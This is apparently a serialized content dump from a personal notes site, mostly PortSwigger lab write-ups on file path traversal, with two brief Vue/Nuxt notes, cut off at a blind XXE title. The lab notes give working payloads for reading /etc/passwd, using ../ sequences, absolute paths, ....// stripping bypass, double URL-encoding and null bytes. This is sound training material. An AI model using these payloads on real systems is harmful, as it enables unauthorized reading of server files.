var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":87,"searchDepth":88,"depth":88,"links":1022},[],"2022-08-20","How to use reactive() in Vue 3 Composition API to create component state similar to Options API data()",{},"\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",{"title":710,"description":1024},{"loc":1026},"notes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",[741,1031,1032],"composition-api","reactive","o3LGdkJICy4BsQ2Y7kA8pQoBPEMhAaGuo7kOutaKz4I",{"id":1035,"title":1036,"author":6,"body":1037,"date":1074,"description":1075,"difficulty":93,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":1076,"navigation":96,"notes":93,"path":1077,"psTitle":93,"seo":1078,"sitemap":1079,"stem":1080,"tags":1081,"timeSpent":93,"type":106,"__hash__":1084},"content_en\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3.md","How to upgrade Nuxt 3 project",{"type":8,"value":1038,"toc":1072},[1039,1042,1060,1063,1069],[11,1040,1036],{"id":1041},"how-to-upgrade-nuxt-3-project",[142,1043,1047],{"className":1044,"code":1045,"language":1046,"meta":87,"style":87},"language-bash shiki shiki-themes github-light github-dark","yarn nuxi upgrade\n","bash",[37,1048,1049],{"__ignoreMap":87},[313,1050,1051,1054,1057],{"class":315,"line":316},[313,1052,1053],{"class":795},"yarn",[313,1055,1056],{"class":771}," nuxi",[313,1058,1059],{"class":771}," upgrade\n",[15,1061,1062],{},"Example output:",[142,1064,1067],{"className":1065,"code":1066,"language":147},[145],"✔ Successfully upgraded nuxt from 3.0.0-rc.4-27605536.8c2c80e to 3.0.0-rc.4\n",[37,1068,1066],{"__ignoreMap":87},[361,1070,1071],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":87,"searchDepth":88,"depth":88,"links":1073},[],"2022-08-15","Simple command to upgrade Nuxt 3 to the latest version",{},"\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",{"title":1036,"description":1075},{"loc":1077},"notes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",[1082,741,1083],"nuxt","cli","fxURgZdppnT81W0HfzoOiqyE7HJPnZoLWfLO_WZXGyI",[1086,1187,1264,1323,1398,1464,1559,1619,1680,1761,1829,1900,2026,2156,2371,2465,2734,2840,2954,3286,3360,3466,3639,3899,3986,4172,4285,4371,4510,4633,4720,4822,4914,5030,5126,5250,5353,5478,5577,5836,5978,6126,6201,6594,6875,7209,7540,7639,8607,8969,9302,9403,9607,10346,10494,11075,11312,11532,11587,11784,12189],{"id":110,"title":111,"author":6,"body":1087,"date":255,"description":256,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":1183,"navigation":96,"notes":93,"path":259,"psTitle":130,"seo":1184,"sitemap":1185,"stem":262,"tags":1186,"timeSpent":270,"type":106,"__hash__":271},{"type":8,"value":1088,"toc":1176},[1089,1091,1093,1098,1100,1102,1107,1109,1111,1116,1120,1124,1129,1131,1136,1138,1142,1147,1151,1156,1160,1162,1167,1169,1174],[11,1090,117],{"id":116},[19,1092,121],{"id":120},[15,1094,1095,131],{},[125,1096,130],{"href":127,"rel":1097},[129],[19,1099,135],{"id":134},[137,1101,140],{"id":139},[142,1103,1105],{"className":1104,"code":146,"language":147},[145],[37,1106,146],{"__ignoreMap":87},[137,1108,153],{"id":152},[15,1110,156],{},[142,1112,1114],{"className":1113,"code":160,"language":147},[145],[37,1115,160],{"__ignoreMap":87},[15,1117,165,1118,169],{},[37,1119,168],{},[15,1121,172,1122,175],{},[37,1123,168],{},[142,1125,1127],{"className":1126,"code":179,"language":147},[145],[37,1128,179],{"__ignoreMap":87},[15,1130,184],{},[142,1132,1134],{"className":1133,"code":188,"language":147},[145],[37,1135,188],{"__ignoreMap":87},[15,1137,193],{},[15,1139,196,1140,200],{},[37,1141,199],{},[142,1143,1145],{"className":1144,"code":204,"language":147},[145],[37,1146,204],{"__ignoreMap":87},[15,1148,209,1149,212],{},[37,1150,168],{},[142,1152,1154],{"className":1153,"code":216,"language":147},[145],[37,1155,216],{"__ignoreMap":87},[15,1157,221,1158,225],{},[37,1159,224],{},[15,1161,228],{},[142,1163,1165],{"className":1164,"code":232,"language":147},[145],[37,1166,232],{"__ignoreMap":87},[15,1168,237],{},[142,1170,1172],{"className":1171,"code":241,"language":147},[145],[37,1173,241],{"__ignoreMap":87},[15,1175,246],{},{"title":87,"searchDepth":88,"depth":88,"links":1177},[1178,1179],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":1180},[1181,1182],{"id":139,"depth":253,"text":140},{"id":152,"depth":253,"text":153},{},{"title":111,"description":256},{"loc":259},[264,265,266,267,268,269],{"id":273,"title":274,"author":6,"body":1188,"date":255,"description":371,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":1260,"navigation":96,"notes":93,"path":373,"psTitle":289,"seo":1261,"sitemap":1262,"stem":376,"tags":1263,"timeSpent":379,"type":106,"__hash__":380},{"type":8,"value":1189,"toc":1253},[1190,1192,1194,1199,1201,1203,1208,1210,1212,1220,1224,1229,1231,1239,1244,1249,1251],[11,1191,280],{"id":279},[19,1193,121],{"id":120},[15,1195,1196,131],{},[125,1197,289],{"href":287,"rel":1198},[129],[19,1200,135],{"id":134},[137,1202,140],{"id":139},[142,1204,1206],{"className":1205,"code":297,"language":147},[145],[37,1207,297],{"__ignoreMap":87},[137,1209,153],{"id":152},[15,1211,304],{},[142,1213,1214],{"className":307,"code":308,"language":309,"meta":87,"style":87},[37,1215,1216],{"__ignoreMap":87},[313,1217,1218],{"class":315,"line":316},[313,1219,308],{},[15,1221,321,1222,212],{},[37,1223,324],{},[142,1225,1227],{"className":1226,"code":328,"language":147},[145],[37,1228,328],{"__ignoreMap":87},[15,1230,333],{},[335,1232,1233,1237],{},[33,1234,1235,342],{},[37,1236,341],{},[33,1238,345],{},[142,1240,1242],{"className":1241,"code":349,"language":147},[145],[37,1243,349],{"__ignoreMap":87},[142,1245,1247],{"className":1246,"code":355,"language":147},[145],[37,1248,355],{"__ignoreMap":87},[15,1250,246],{},[361,1252,363],{},{"title":87,"searchDepth":88,"depth":88,"links":1254},[1255,1256],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":1257},[1258,1259],{"id":139,"depth":253,"text":140},{"id":152,"depth":253,"text":153},{},{"title":274,"description":371},{"loc":373},[264,265,266,378,269],{"id":382,"title":383,"author":6,"body":1265,"date":450,"description":451,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":1319,"navigation":96,"notes":93,"path":454,"psTitle":398,"seo":1320,"sitemap":1321,"stem":457,"tags":1322,"timeSpent":459,"type":106,"__hash__":460},{"type":8,"value":1266,"toc":1312},[1267,1269,1271,1276,1278,1280,1285,1287,1289,1297,1299,1303,1308,1310],[11,1268,389],{"id":388},[19,1270,121],{"id":120},[15,1272,1273,399],{},[125,1274,398],{"href":396,"rel":1275},[129],[19,1277,135],{"id":134},[137,1279,140],{"id":139},[142,1281,1283],{"className":1282,"code":407,"language":147},[145],[37,1284,407],{"__ignoreMap":87},[137,1286,153],{"id":152},[15,1288,414],{},[142,1290,1291],{"className":307,"code":308,"language":309,"meta":87,"style":87},[37,1292,1293],{"__ignoreMap":87},[313,1294,1295],{"class":315,"line":316},[313,1296,308],{},[15,1298,425],{},[15,1300,428,1301,432],{},[37,1302,431],{},[142,1304,1306],{"className":1305,"code":436,"language":147},[145],[37,1307,436],{"__ignoreMap":87},[15,1309,246],{},[361,1311,363],{},{"title":87,"searchDepth":88,"depth":88,"links":1313},[1314,1315],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":1316},[1317,1318],{"id":139,"depth":253,"text":140},{"id":152,"depth":253,"text":153},{},{"title":383,"description":451},{"loc":454},[264,265,266,269],{"id":462,"title":463,"author":6,"body":1324,"date":450,"description":551,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":1394,"navigation":96,"notes":93,"path":553,"psTitle":478,"seo":1395,"sitemap":1396,"stem":556,"tags":1397,"timeSpent":459,"type":106,"__hash__":558},{"type":8,"value":1325,"toc":1387},[1326,1328,1330,1335,1337,1339,1344,1346,1350,1352,1360,1362,1367,1371,1373,1378,1383,1385],[11,1327,469],{"id":468},[19,1329,121],{"id":120},[15,1331,1332,399],{},[125,1333,478],{"href":476,"rel":1334},[129],[19,1336,135],{"id":134},[137,1338,140],{"id":139},[142,1340,1342],{"className":1341,"code":486,"language":147},[145],[37,1343,486],{"__ignoreMap":87},[137,1345,153],{"id":152},[15,1347,493,1348,497],{},[37,1349,496],{},[15,1351,500],{},[142,1353,1354],{"className":307,"code":308,"language":309,"meta":87,"style":87},[37,1355,1356],{"__ignoreMap":87},[313,1357,1358],{"class":315,"line":316},[313,1359,308],{},[15,1361,511],{},[142,1363,1365],{"className":1364,"code":515,"language":147},[145],[37,1366,515],{"__ignoreMap":87},[15,1368,520,1369,524],{},[37,1370,523],{},[15,1372,527],{},[142,1374,1376],{"className":1375,"code":531,"language":147},[145],[37,1377,531],{"__ignoreMap":87},[142,1379,1381],{"className":1380,"code":537,"language":147},[145],[37,1382,537],{"__ignoreMap":87},[15,1384,246],{},[361,1386,363],{},{"title":87,"searchDepth":88,"depth":88,"links":1388},[1389,1390],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":1391},[1392,1393],{"id":139,"depth":253,"text":140},{"id":152,"depth":253,"text":153},{},{"title":463,"description":551},{"loc":553},[264,265,266,269],{"id":560,"title":561,"author":6,"body":1399,"date":450,"description":636,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":1460,"navigation":96,"notes":93,"path":638,"psTitle":576,"seo":1461,"sitemap":1462,"stem":641,"tags":1463,"timeSpent":459,"type":106,"__hash__":644},{"type":8,"value":1400,"toc":1453},[1401,1403,1405,1410,1412,1414,1419,1421,1423,1425,1427,1432,1434,1439,1444,1446,1451],[11,1402,567],{"id":566},[19,1404,121],{"id":120},[15,1406,1407,399],{},[125,1408,576],{"href":574,"rel":1409},[129],[19,1411,135],{"id":134},[137,1413,140],{"id":139},[142,1415,1417],{"className":1416,"code":584,"language":147},[145],[37,1418,584],{"__ignoreMap":87},[137,1420,153],{"id":152},[15,1422,591],{},[15,1424,594],{},[15,1426,597],{},[142,1428,1430],{"className":1429,"code":601,"language":147},[145],[37,1431,601],{"__ignoreMap":87},[15,1433,606],{},[142,1435,1437],{"className":1436,"code":610,"language":147},[145],[37,1438,610],{"__ignoreMap":87},[142,1440,1442],{"className":1441,"code":616,"language":147},[145],[37,1443,616],{"__ignoreMap":87},[15,1445,237],{},[142,1447,1449],{"className":1448,"code":624,"language":147},[145],[37,1450,624],{"__ignoreMap":87},[15,1452,246],{},{"title":87,"searchDepth":88,"depth":88,"links":1454},[1455,1456],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":1457},[1458,1459],{"id":139,"depth":253,"text":140},{"id":152,"depth":253,"text":153},{},{"title":561,"description":636},{"loc":638},[264,265,266,643,269],{"id":1465,"title":1466,"author":6,"body":1467,"date":1550,"description":1551,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":1552,"navigation":96,"notes":93,"path":1553,"psTitle":1481,"seo":1554,"sitemap":1555,"stem":1556,"tags":1557,"timeSpent":459,"type":106,"__hash__":1558},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-simple-case.md","File Path Traversal: Simple Case (PortSwigger Lab)",{"type":8,"value":1468,"toc":1541},[1469,1473,1475,1482,1484,1486,1492,1496,1503,1507,1510,1516,1522,1529,1533,1539],[11,1470,1472],{"id":1471},"file-path-traversal-simple-case","File Path Traversal: Simple Case",[19,1474,121],{"id":120},[15,1476,1477,399],{},[125,1478,1481],{"href":1479,"rel":1480},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-path-traversal\u002Flab-simple",[129],"File path traversal, simple case",[19,1483,135],{"id":134},[137,1485,140],{"id":139},[142,1487,1490],{"className":1488,"code":1489,"language":147},[145],"This lab contains a path traversal vulnerability in the display of product images.\nTo solve the lab, retrieve the contents of the \u002Fetc\u002Fpasswd file.\n",[37,1491,1489],{"__ignoreMap":87},[137,1493,1495],{"id":1494},"analysis","Analysis",[15,1497,1498,1499,1502],{},"Somewhere on the site there's a path traversal vulnerability in product image display. We need to read the ",[37,1500,1501],{},"\u002Fetc\u002Fpasswd"," file using it.",[137,1504,1506],{"id":1505},"recon","Recon",[15,1508,1509],{},"We look at the site, paying attention to image-loading requests. We set up a filter to show such requests. We see the request:",[142,1511,1514],{"className":1512,"code":1513,"language":147},[145],"GET \u002Fimage?filename=60.jpg\n",[37,1515,1513],{"__ignoreMap":87},[15,1517,1518,1519,524],{},"We send it to Repeater and try ",[37,1520,1521],{},"path traversal",[15,1523,1524,1525,1528],{},"First we try ",[37,1526,1527],{},"..\u002F..\u002Fetc\u002Fpasswd"," — \"No such file\".",[137,1530,1532],{"id":1531},"final-payload","Final payload",[142,1534,1537],{"className":1535,"code":1536,"language":147},[145],"GET \u002Fimage?filename=..\u002F..\u002F..\u002Fetc\u002Fpasswd HTTP\u002F2\n",[37,1538,1536],{"__ignoreMap":87},[15,1540,246],{},{"title":87,"searchDepth":88,"depth":88,"links":1542},[1543,1544],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":1545},[1546,1547,1548,1549],{"id":139,"depth":253,"text":140},{"id":1494,"depth":253,"text":1495},{"id":1505,"depth":253,"text":1506},{"id":1531,"depth":253,"text":1532},"2026-06-02","The product-image filename param is vulnerable to path traversal — three `..\u002F` segments reach \u002Fetc\u002Fpasswd.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-simple-case",{"title":1466,"description":1551},{"loc":1553},"notes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-simple-case",[264,643,269],"g-KKlSPS7aOrGdTaUeK4ffarSW3ZGKbKuF1sWzrRPOE",{"id":1560,"title":1561,"author":6,"body":1562,"date":1550,"description":1610,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":1611,"navigation":96,"notes":93,"path":1612,"psTitle":1576,"seo":1613,"sitemap":1614,"stem":1615,"tags":1616,"timeSpent":1617,"type":106,"__hash__":1618},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass.md","File Path Traversal: Bypassing Blocked Traversal Sequences with an Absolute Path (PortSwigger Lab)",{"type":8,"value":1563,"toc":1602},[1564,1568,1570,1577,1579,1581,1587,1589,1592,1596],[11,1565,1567],{"id":1566},"file-path-traversal-bypassing-blocked-traversal-sequences-with-an-absolute-path","File Path Traversal: Bypassing Blocked Traversal Sequences with an Absolute Path",[19,1569,121],{"id":120},[15,1571,1572,399],{},[125,1573,1576],{"href":1574,"rel":1575},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-path-traversal\u002Flab-absolute-path-bypass",[129],"File path traversal, traversal sequences blocked with absolute path bypass",[19,1578,135],{"id":134},[137,1580,140],{"id":139},[142,1582,1585],{"className":1583,"code":1584,"language":147},[145],"This lab contains a path traversal vulnerability in the display of product images.\n\nThe application blocks traversal sequences but treats the supplied filename as being relative to a default working directory.\n\nTo solve the lab, retrieve the contents of the \u002Fetc\u002Fpasswd file.\n",[37,1586,1584],{"__ignoreMap":87},[137,1588,1495],{"id":1494},[15,1590,1591],{},"Everything is the same as the previous lab, except this time we use absolute paths as the bypass.",[137,1593,1595],{"id":1594},"recon-final-payload","Recon. Final payload",[142,1597,1600],{"className":1598,"code":1599,"language":147},[145],"GET \u002Fimage?filename=\u002Fetc\u002Fpasswd\n",[37,1601,1599],{"__ignoreMap":87},{"title":87,"searchDepth":88,"depth":88,"links":1603},[1604,1605],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":1606},[1607,1608,1609],{"id":139,"depth":253,"text":140},{"id":1494,"depth":253,"text":1495},{"id":1594,"depth":253,"text":1595},"The app strips `..\u002F` sequences but accepts absolute paths — `\u002Fetc\u002Fpasswd` comes back with no bypass needed.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass",{"title":1561,"description":1610},{"loc":1612},"notes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass",[264,643,269],"15m","sRTYZP0ClchjNsqOO7Yywc5Abe0dXNxTeEPUyk7StU4",{"id":1620,"title":1621,"author":6,"body":1622,"date":1550,"description":1672,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":1673,"navigation":96,"notes":93,"path":1674,"psTitle":1636,"seo":1675,"sitemap":1676,"stem":1677,"tags":1678,"timeSpent":459,"type":106,"__hash__":1679},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-stripped-non-recursively.md","File Path Traversal: Non-Recursive Stripping of Traversal Sequences (PortSwigger Lab)",{"type":8,"value":1623,"toc":1664},[1624,1628,1630,1637,1639,1641,1647,1649,1656,1658],[11,1625,1627],{"id":1626},"file-path-traversal-non-recursive-stripping-of-traversal-sequences","File Path Traversal: Non-Recursive Stripping of Traversal Sequences",[19,1629,121],{"id":120},[15,1631,1632,399],{},[125,1633,1636],{"href":1634,"rel":1635},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-path-traversal\u002Flab-sequences-stripped-non-recursively",[129],"File path traversal, traversal sequences stripped non-recursively",[19,1638,135],{"id":134},[137,1640,140],{"id":139},[142,1642,1645],{"className":1643,"code":1644,"language":147},[145],"This lab contains a path traversal vulnerability in the display of product images.\n\nThe application strips path traversal sequences from the user-supplied filename before using it.\n\nTo solve the lab, retrieve the contents of the \u002Fetc\u002Fpasswd file.\n",[37,1646,1644],{"__ignoreMap":87},[137,1648,153],{"id":152},[15,1650,1651,1652,1655],{},"Same as the previous lab, except this time the app removes ",[37,1653,1654],{},"..\u002F"," but not recursively.",[137,1657,1532],{"id":1531},[142,1659,1662],{"className":1660,"code":1661,"language":147},[145],"GET \u002Fimage?filename=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n",[37,1663,1661],{"__ignoreMap":87},{"title":87,"searchDepth":88,"depth":88,"links":1665},[1666,1667],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":1668},[1669,1670,1671],{"id":139,"depth":253,"text":140},{"id":152,"depth":253,"text":153},{"id":1531,"depth":253,"text":1532},"The app strips `..\u002F`, but only once — `....\u002F\u002F` survives the filter and becomes `..\u002F` after one pass.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-stripped-non-recursively",{"title":1621,"description":1672},{"loc":1674},"notes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-stripped-non-recursively",[264,643,269],"RDKeuAJvRWzhJd7rfjbshifRLP_kh2eTIO6C1t8twEw",{"id":1681,"title":1682,"author":6,"body":1683,"date":1550,"description":1753,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":1754,"navigation":96,"notes":93,"path":1755,"psTitle":1697,"seo":1756,"sitemap":1757,"stem":1758,"tags":1759,"timeSpent":459,"type":106,"__hash__":1760},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-stripped-with-superfluous-url-decode.md","File Path Traversal: Bypassing Traversal Stripping with Double URL-Encoding (PortSwigger Lab)",{"type":8,"value":1684,"toc":1745},[1685,1689,1691,1698,1700,1702,1708,1710,1728,1734,1737,1739],[11,1686,1688],{"id":1687},"file-path-traversal-bypassing-traversal-stripping-with-double-url-encoding","File Path Traversal: Bypassing Traversal Stripping with Double URL-Encoding",[19,1690,121],{"id":120},[15,1692,1693,131],{},[125,1694,1697],{"href":1695,"rel":1696},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-path-traversal\u002Flab-superfluous-url-decode",[129],"File path traversal, traversal sequences stripped with superfluous URL-decode",[19,1699,135],{"id":134},[137,1701,140],{"id":139},[142,1703,1706],{"className":1704,"code":1705,"language":147},[145],"This lab contains a path traversal vulnerability in the display of product images.\n\nThe application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it.\n\nTo solve the lab, retrieve the contents of the \u002Fetc\u002Fpasswd file.\n",[37,1707,1705],{"__ignoreMap":87},[137,1709,153],{"id":152},[15,1711,1712,1713,1715,1716,1719,1720,1722,1723,1722,1725,524],{},"Same as the previous lab, except this time we have to use URL-encoding and try replacing ",[37,1714,1654],{}," with ",[37,1717,1718],{},"%2e%2e%2f",". Or even double encoding: ",[37,1721,1654],{}," → ",[37,1724,1718],{},[37,1726,1727],{},"%252e%252e%252f",[15,1729,1730,1731,1733],{},"We try the payload with ",[37,1732,1718],{}," — didn't work.",[15,1735,1736],{},"Then double encoding — worked.",[137,1738,1532],{"id":1531},[142,1740,1743],{"className":1741,"code":1742,"language":147},[145],"GET \u002Fimage?filename=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc\u002Fpasswd\n",[37,1744,1742],{"__ignoreMap":87},{"title":87,"searchDepth":88,"depth":88,"links":1746},[1747,1748],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":1749},[1750,1751,1752],{"id":139,"depth":253,"text":140},{"id":152,"depth":253,"text":153},{"id":1531,"depth":253,"text":1532},"Single-encoded `%2e%2e%2f` didn't pass — only double encoding `%252e%252e%252f` slipped through the filter.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-stripped-with-superfluous-url-decode",{"title":1682,"description":1753},{"loc":1755},"notes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-stripped-with-superfluous-url-decode",[264,643,269],"1weQv3HJLbQZDFBiOifPubpIS9DgeejlR2XS9YjFpIo",{"id":1762,"title":1763,"author":6,"body":1764,"date":1550,"description":1821,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":1822,"navigation":96,"notes":93,"path":1823,"psTitle":1778,"seo":1824,"sitemap":1825,"stem":1826,"tags":1827,"timeSpent":459,"type":106,"__hash__":1828},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-validation-of-file-extension-with-null-byte-bypass.md","File Path Traversal: Bypassing Extension Validation with a Null Byte (PortSwigger Lab)",{"type":8,"value":1765,"toc":1813},[1766,1770,1772,1779,1781,1783,1789,1791,1797,1799,1805,1811],[11,1767,1769],{"id":1768},"file-path-traversal-bypassing-extension-validation-with-a-null-byte","File Path Traversal: Bypassing Extension Validation with a Null Byte",[19,1771,121],{"id":120},[15,1773,1774,131],{},[125,1775,1778],{"href":1776,"rel":1777},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-path-traversal\u002Flab-validate-file-extension-null-byte-bypass",[129],"File path traversal, validation of file extension with null byte bypass",[19,1780,135],{"id":134},[137,1782,140],{"id":139},[142,1784,1787],{"className":1785,"code":1786,"language":147},[145],"This lab contains a path traversal vulnerability in the display of product images.\n\nThe application validates that the supplied filename ends with the expected file extension.\n\nTo solve the lab, retrieve the contents of the \u002Fetc\u002Fpasswd file.\n",[37,1788,1786],{"__ignoreMap":87},[137,1790,153],{"id":152},[15,1792,1793,1794,524],{},"Same as the previous lab, except this one validates the file extension, so we can use the \"null byte\" technique — ",[37,1795,1796],{},"%00",[137,1798,1532],{"id":1531},[142,1800,1803],{"className":1801,"code":1802,"language":147},[145],"GET \u002Fimage?filename=\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.png\n",[37,1804,1802],{"__ignoreMap":87},[15,1806,1807,1808,1810],{},"We jumped to root, then cut off the read with a null byte. As a result we read ",[37,1809,1501],{},", and the filter is bypassed.",[15,1812,246],{},{"title":87,"searchDepth":88,"depth":88,"links":1814},[1815,1816],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":1817},[1818,1819,1820],{"id":139,"depth":253,"text":140},{"id":152,"depth":253,"text":153},{"id":1531,"depth":253,"text":1532},"The filter wants a specific extension — a `%00` null byte cuts the string short and `\u002Fetc\u002Fpasswd%00.png` delivers the file.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-validation-of-file-extension-with-null-byte-bypass",{"title":1763,"description":1821},{"loc":1823},"notes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-validation-of-file-extension-with-null-byte-bypass",[264,643,269],"VMKqMWGVPWCzAEbSQl6WfUe6FerzPIMJncSggERabTE",{"id":1830,"title":1831,"author":6,"body":1832,"date":1550,"description":1892,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":1893,"navigation":96,"notes":93,"path":1894,"psTitle":1846,"seo":1895,"sitemap":1896,"stem":1897,"tags":1898,"timeSpent":459,"type":106,"__hash__":1899},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-validation-of-start-of-path.md","File Path Traversal: Validation of Start of Path (PortSwigger Lab)",{"type":8,"value":1833,"toc":1885},[1834,1838,1840,1847,1849,1851,1857,1859,1862,1865,1871,1874,1880,1883],[11,1835,1837],{"id":1836},"file-path-traversal-validation-of-start-of-path","File Path Traversal: Validation of Start of Path",[19,1839,121],{"id":120},[15,1841,1842,131],{},[125,1843,1846],{"href":1844,"rel":1845},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-path-traversal\u002Flab-validate-start-of-path",[129],"File path traversal, validation of start of path",[19,1848,135],{"id":134},[137,1850,140],{"id":139},[142,1852,1855],{"className":1853,"code":1854,"language":147},[145],"This lab contains a path traversal vulnerability in the display of product images.\n\nThe application transmits the full file path via a request parameter, and validates that the supplied path starts with the expected folder.\n\nTo solve the lab, retrieve the contents of the \u002Fetc\u002Fpasswd file.\n",[37,1856,1854],{"__ignoreMap":87},[137,1858,153],{"id":152},[15,1860,1861],{},"Same as the previous lab, except this time the server validates the input. It checks that it starts with the expected directory. Let's craft a payload for that case.",[15,1863,1864],{},"Request:",[142,1866,1869],{"className":1867,"code":1868,"language":147},[145],"GET \u002Fimage?filename=\u002Fvar\u002Fwww\u002Fimages\u002F45.jpg\n",[37,1870,1868],{"__ignoreMap":87},[15,1872,1873],{},"OK, then this should work:",[142,1875,1878],{"className":1876,"code":1877,"language":147},[145],"GET \u002Fimage?filename=\u002Fvar\u002Fwww\u002Fimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n",[37,1879,1877],{"__ignoreMap":87},[15,1881,1882],{},"Correct.",[15,1884,246],{},{"title":87,"searchDepth":88,"depth":88,"links":1886},[1887,1888],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":1889},[1890,1891],{"id":139,"depth":253,"text":140},{"id":152,"depth":253,"text":153},"The server only checks that the path starts with the expected folder — `\u002Fvar\u002Fwww\u002Fimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd` slips through.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-validation-of-start-of-path",{"title":1831,"description":1892},{"loc":1894},"notes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-validation-of-start-of-path",[264,643,269],"FG1DvK9Vl65GP77EUEZULhF7i4UBugxv01Cr5RzI8IQ",{"id":1901,"title":1902,"author":6,"body":1903,"date":2015,"description":2016,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":2017,"navigation":96,"notes":93,"path":2018,"psTitle":1917,"seo":2019,"sitemap":2020,"stem":2021,"tags":2022,"timeSpent":2024,"type":106,"__hash__":2025},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fexploiting-blind-xxe-to-retrieve-data-via-error-messages.md","Blind XXE: Retrieving Data via Error Messages (PortSwigger 